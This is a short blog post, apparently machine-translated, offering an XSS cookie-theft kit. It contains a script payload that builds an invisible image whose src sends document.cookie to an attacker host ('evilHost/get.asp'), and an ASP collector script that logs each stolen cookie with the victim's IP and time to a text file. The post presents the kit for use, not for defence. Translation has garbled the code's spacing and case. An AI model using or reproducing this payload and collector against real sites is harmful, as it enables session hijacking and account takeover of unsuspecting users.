Author: cnryan @ http://hi.baidu.com/cnryan
Cookie Theft is one of the most common cross-site attacks, whether in the img or iframe mode, or based on the Inbound or non-Inbound XSS, the entire operation can be completed by requesting a url with the Cookie browser.
I prefer Image:
<Script>
Img = new Image (); img. src = "http: // evilHost/get. asp? Cookie = "+ document. cookie; img. width = 0; img. height = 0
</Script>
Cookie Stealing script:
It's still a relatively simple program. After some improvement,The time and IP address at the same time when the Cookie is obtained, More intelligent and user-friendly, in order to achieve a better user experience> "<, haha!
Get. asp code:
<%
Dim getcookie
Dim mytime
Dim str
Getcookie = Request. QueryString
Getip = Request. ServerVariables ("REMOTE_ADDR ")
Mytime = now ()
Set fs = server. CreateObject ("Scripting. FileSystemObject ")
Set file = fs. OpenTextFile (server. MapPath ("cookie.txt"), 8, True)
Str = "<-bof |" & mytime & "|" & getip & "|" & getcookie & "| eof->"
File. writeline (str)
File. close
Set file = nothing
Set fs = nothing
Response. write "haha"
Response. end
%>